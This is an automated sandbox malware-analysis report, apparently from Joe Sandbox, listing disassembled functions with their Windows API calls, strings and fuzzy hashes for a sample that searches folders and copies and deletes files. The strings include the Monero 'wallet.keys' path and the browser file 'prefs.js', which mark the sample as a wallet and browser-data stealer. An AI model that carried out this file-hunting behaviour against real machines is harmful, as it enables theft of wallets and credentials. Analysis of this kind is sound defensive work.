Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: e49ff541de513f2a8e82c5d5c418ab34ca13ad2f0ce1dd59b2c8911b7aa6b5da
Instruction ID: b0ad306dee0ea771d400e3233fbcc28a740c542bc39ca5f196e49d2999b37db2
Opcode Fuzzy Hash: e49ff541de513f2a8e82c5d5c418ab34ca13ad2f0ce1dd59b2c8911b7aa6b5da
Instruction Fuzzy Hash: B75166B5A15218ABCB60EBB0DC89FED737DAB58300F408588F60996191EF749F85CF91

Function 006E3EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 006E3EC3
FindFirstFileA.KERNEL32(?,?), ref: 006E3EDA
StrCmpCA.SHLWAPI(?,006F0FAC), ref: 006E3F08
StrCmpCA.SHLWAPI(?,006F0FB0), ref: 006E3F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 006E406C
FindClose.KERNEL32(000000FF), ref: 006E4081

Strings

%s\%s, xrefs: 006E3EB7

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: e31902b5d583f93f1b40616fc4630ea960f0a961108f578cd0677d2a9f8374cc
Instruction ID: a4fe366abf92f0a3f0f67eac4c3990f5d8d5e1e8763867de8583439df788e752
Opcode Fuzzy Hash: e31902b5d583f93f1b40616fc4630ea960f0a961108f578cd0677d2a9f8374cc
Instruction Fuzzy Hash: 565183B6915218ABCB24EBB0DC85EFA737DBB44300F00858CB61996141EB75AF86CF95

Function 006DED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 006DED3E
FindFirstFileA.KERNEL32(?,?), ref: 006DED55
StrCmpCA.SHLWAPI(?,006F1538), ref: 006DEDAB
StrCmpCA.SHLWAPI(?,006F153C), ref: 006DEDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 006DF2AE
FindClose.KERNEL32(000000FF), ref: 006DF2C3

Strings

%s\*.*, xrefs: 006DED32

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: c2e4530ffe483836735b08ccdcc2acf7aab5177847a7a3cfc32b473723fc2453
Instruction ID: ef123c5576e61a299119d6f6a8027003ecbdc9c6e09106cba316c04c24c12b64
Opcode Fuzzy Hash: c2e4530ffe483836735b08ccdcc2acf7aab5177847a7a3cfc32b473723fc2453
Instruction Fuzzy Hash: 5AE1267191325896EB94FBA1CC91EEF733AAF54300F41419DB50A66092EE307F8ACF55

Function 006DF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 006EA740: lstrcpy.KERNEL32(006F0E17,00000000), ref: 006EA788

Part of subcall function 006EA920: lstrcpy.KERNEL32(00000000,?), ref: 006EA972
Part of subcall function 006EA920: lstrcat.KERNEL32(00000000), ref: 006EA982

Part of subcall function 006EA9B0: lstrlen.KERNEL32(?,00E491C8,?,\Monero\wallet.keys,006F0E17), ref: 006EA9C5
Part of subcall function 006EA9B0: lstrcpy.KERNEL32(00000000), ref: 006EAA04
Part of subcall function 006EA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006EAA12

Part of subcall function 006EA8A0: lstrcpy.KERNEL32(?,006F0E17), ref: 006EA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,006F15B8,006F0D96), ref: 006DF71E
StrCmpCA.SHLWAPI(?,006F15BC), ref: 006DF76F
StrCmpCA.SHLWAPI(?,006F15C0), ref: 006DF785
FindNextFileA.KERNEL32(000000FF,?), ref: 006DFAB1
FindClose.KERNEL32(000000FF), ref: 006DFAC3

Strings

prefs.js, xrefs: 006DF812

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 2a8e7f7ca5e400268882a016fd2513f2a47b65804b28db448f803163abc475f6
Instruction ID: f894d8606b9df267ca65ec7e07d6f60b153d2d9a27ce549a96823710375f1b38
Opcode Fuzzy Hash: 2a8e7f7ca5e400268882a016fd2513f2a47b65804b28db448f803163abc475f6
Instruction Fuzzy Hash: B6B17771D112489BDB64FFA1DC91AEE737BAF54300F0185ADA40A57181EF306B49CF96

Function 006D16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 006EA740: lstrcpy.KERNEL32(006F0E17,00000000), ref: 006EA788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,006F510C,?,?,?,006F51B4,?,?,00000000,?,00000000), ref: 006D1923
StrCmpCA.SHLWAPI(?,006F525C), ref: 006D1973
StrCmpCA.SHLWAPI(?,006F5304), ref: 006D1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 006D1D40
DeleteFileA.KERNEL32(00000000), ref: 006D1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 006D1E20
FindClose.KERNEL32(000000FF), ref: 006D1E32

Part of subcall function 006EA920: lstrcpy.KERNEL32(00000000,?), ref: 006EA972
Part of subcall function 006EA920: lstrcat.KERNEL32(00000000), ref: 006EA982

Part of subcall function 006EA9B0: lstrlen.KERNEL32(?,00E491C8,?,\Monero\wallet.keys,006F0E17), ref: 006EA9C5
Part of subcall function 006EA9B0: lstrcpy.KERNEL32(00000000), ref: 006EAA04
Part of subcall function 006EA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006EAA12

Part of subcall function 006EA8A0: lstrcpy.KERNEL32(?,006F0E17), ref: 006EA905

Strings

\*.*, xrefs: 006D17F1

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 0a6294e986e2ca87d1747d2e57b3d82e31ab9d6fe63a9e751c728ed4696dedf8
Instruction ID: 0102ce9486922eccd87c8bfd275f52374bc3742958c49f9fedc81a7442dc4f85
Opcode Fuzzy Hash: 0a6294e986e2ca87d1747d2e57b3d82e31ab9d6fe63a9e751c728ed4696dedf8
Instruction Fuzzy Hash: F3125171912258ABDB55FBA1CC96EEE733AAF14300F41419DB10A66091EF307F89CFA5

Function 006DDE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 006EA740: lstrcpy.KERNEL32(006F0E17,00000000), ref: 006EA788

Part of subcall function 006EA9B0: lstrlen.KERNEL32(?,00E491C8,?,\Monero\wallet.keys,006F0E17), ref: 006EA9C5
Part of subcall function 006EA9B0: lstrcpy.KERNEL32(00000000), ref: 006EAA04
Part of subcall function 006EA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006EAA12

Part of subcall function 006EA8A0: lstrcpy.KERNEL32(?,006F0E17), ref: 006EA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,006F0C2E), ref: 006DDE5E
StrCmpCA.SHLWAPI(?,006F14C8), ref: 006DDEAE
StrCmpCA.SHLWAPI(?,006F14CC), ref: 006DDEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 006DE3E0
FindClose.KERNEL32(000000FF), ref: 006DE3F2

Strings

\*.*, xrefs: 006DDE26

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: b15c4a093c3e08152f96d7a021259ddecf140a661d70e9d614f80c20af2e3743
Instruction ID: cadbc7b5d1e2bc56846db3abbebea508a4e0dcbdfe221877f6e7211970c2e062
Opcode Fuzzy Hash: b15c4a093c3e08152f96d7a021259ddecf140a661d70e9d614f80c20af2e3743
Instruction Fuzzy Hash: 1BF1E0718262589ADB65FBA1CC95EEE733ABF54300F4141DDA40A62091EF307F4ACF69

Function 006DDA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 006EA740: lstrcpy.KERNEL32(006F0E17,00000000), ref: 006EA788

Part of subcall function 006EA920: lstrcpy.KERNEL32(00000000,?), ref: 006EA972
Part of subcall function 006EA920: lstrcat.KERNEL32(00000000), ref: 006EA982

Part of subcall function 006EA9B0: lstrlen.KERNEL32(?,00E491C8,?,\Monero\wallet.keys,006F0E17), ref: 006EA9C5
Part of subcall function 006EA9B0: lstrcpy.KERNEL32(00000000), ref: 006EAA04
Part of subcall function 006EA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006EAA12

Part of subcall function 006EA8A0: lstrcpy.KERNEL32(?,006F0E17), ref: 006EA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,006F14B0,006F0C2A), ref: 006DDAEB
StrCmpCA.SHLWAPI(?,006F14B4), ref: 006DDB33
StrCmpCA.SHLWAPI(?,006F14B8), ref: 006DDB49
FindNextFileA.KERNEL32(000000FF,?), ref: 006DDDCC
FindClose.KERNEL32(000000FF), ref: 006DDDDE

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 058281a3f760ea27f7579f5a6f0fabbe59993f0229076e7483586366650517d6
Instruction ID: c125bbd9e12fe9a11cb23dc015070f69587f6a3646b9e1c71e185f85e3587f85
Opcode Fuzzy Hash: 058281a3f760ea27f7579f5a6f0fabbe59993f0229076e7483586366650517d6
Instruction Fuzzy Hash: 1A918472911204A7DF54FBB1EC969FE737FAF84300F01865DB90696181EE34AB09CB96

Function 00AA5F45 Relevance: 12.9, Strings: 9, Instructions: 1636COMMON

Download Yara Rule

Strings

Znow, xrefs: 00AA6BA5
vxo, xrefs: 00AA62DB
f6-9, xrefs: 00AA6C28
5w, xrefs: 00AA666D
'x?, xrefs: 00AA6A0E
ZK{_, xrefs: 00AA661E
zlM*, xrefs: 00AA6EF8
.y~-, xrefs: 00AA6210
WO, xrefs: 00AA6B60

Memory Dump Source

Source File: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 'x?$.y~-$5w$ZK{_$Znow$f6-9$vxo$zlM*$WO
API String ID: 0-2992123815
Opcode ID: 2249fec7f07e7939801dad3ee8b62d443df993836ef445807aeb8e3da6bb61f6
Instruction ID: 2f454846fb0063b12b93219f10df0e37da675e833a04edf0f48a5637e5fd49b6
Opcode Fuzzy Hash: 2249fec7f07e7939801dad3ee8b62d443df993836ef445807aeb8e3da6bb61f6
Instruction Fuzzy Hash: 61B2E5F360C204AFE3046E29EC8567AFBE9EF94720F16893DEAC4C3744E67558058697

Function 00A9F51A Relevance: 12.8, Strings: 9, Instructions: 1590COMMON

Download Yara Rule

Strings

Zu^Q, xrefs: 00A9FB32
u}_, xrefs: 00AA03ED
DJFH, xrefs: 00A9F926
?Bo, xrefs: 00AA001E
a^uv, xrefs: 00A9FD95
2_, xrefs: 00A9F737
IyU, xrefs: 00AA05C1
`SvI, xrefs: 00AA07E3
$)]{, xrefs: 00A9FC0D

Memory Dump Source

Source File: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 2_$$)]{$?Bo$DJFH$IyU$Zu^Q$`SvI$a^uv$u}_
API String ID: 0-1183427295
Opcode ID: 38a97943fc73f9a6ff953fa816c8e56b331cbc4ae67618c3e96ad87138d75250
Instruction ID: 474c51faa20335c7d53bddf1443ba9f233accfb87860c94e509737f233b4c182
Opcode Fuzzy Hash: 38a97943fc73f9a6ff953fa816c8e56b331cbc4ae67618c3e96ad87138d75250
Instruction Fuzzy Hash: 8FB2D5F360C2049FE304AE29EC8567AFBE9EF94720F1A893DE6C4C7744E63558418696

Function 00AA7A10 Relevance: 11.6, Strings: 8, Instructions: 1566COMMON

Download Yara Rule

Strings

Z6_, xrefs: 00AA8586
R.b}, xrefs: 00AA8B1E
?l_7, xrefs: 00AA809F
}_, xrefs: 00AA8AFC
Fj{, xrefs: 00AA804F
|"3, xrefs: 00AA834C
{&v, xrefs: 00AA8B3E
XF>, xrefs: 00AA8049

Memory Dump Source

Source File: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: }_$?l_7$Fj{$R.b}$XF>$Z6_${&v$|"3
API String ID: 0-1248171081
Opcode ID: 33fb4aafdad2a402acc931e0915810272ac2c0e3feb180e53bbeffd6875d7255
Instruction ID: 15eeaf0f3fcaa35373bd3172c4edd4802aefe8774af0812758a2cf25dc631938
Opcode Fuzzy Hash: 33fb4aafdad2a402acc931e0915810272ac2c0e3feb180e53bbeffd6875d7255
Instruction Fuzzy Hash: FBB2D4F360C2049FE704AE29EC8577ABBE5EB94320F16893DEAC4C7744EA3558058697

Function 00AAE675 Relevance: 11.6, Strings: 8, Instructions: 1557COMMON

Download Yara Rule

Strings

;y]^, xrefs: 00AAE69D
;y]^, xrefs: 00AAE68C
rw/p, xrefs: 00AAF04E
a;^, xrefs: 00AAF5AA
ULSo, xrefs: 00AAEB1F
Io"!, xrefs: 00AAE944
w1, xrefs: 00AAEB4F
rJS7, xrefs: 00AAEE42

Memory Dump Source

Source File: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
